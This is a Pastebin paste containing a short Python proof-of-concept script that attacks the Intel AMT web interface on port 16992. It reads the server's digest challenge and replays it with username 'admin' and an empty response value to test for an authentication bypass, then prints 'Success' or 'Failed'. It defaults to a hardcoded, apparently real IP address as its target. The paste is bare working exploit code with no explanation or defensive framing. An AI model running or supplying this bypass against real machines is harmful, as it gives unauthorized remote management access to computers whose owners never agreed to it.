Advertisement
Guest User

Untitled

a guest
Jun 21st, 2018
60
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.56 KB | None | 0 0
  1. #!/usr/bin/env python
  2. import requests
  3. import sys
  4.  
  5. if len(sys.argv) > 1:
  6. ip = str(sys.argv[1])
  7. else:
  8. ip = '168.235.84.117'
  9.  
  10. url = 'http://'+ip+':16992/index.htm'
  11. req = requests.get(url)
  12. auth = req.headers['WWW-Authenticate']
  13. words = auth.split('"')
  14. headers = 'Digest username= "admin", realm="'+words[1]+'", nonce="'+words[3]+'", uri="index.htm", response="", qop="auth", nc="00000001", cnonce="8858482c60513ab5" '
  15. poc = requests.get(url, headers={'Authorization': headers})
  16. if poc.status_code == 200:
  17. print('Success')
  18. else:
  19. print('Failed')
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement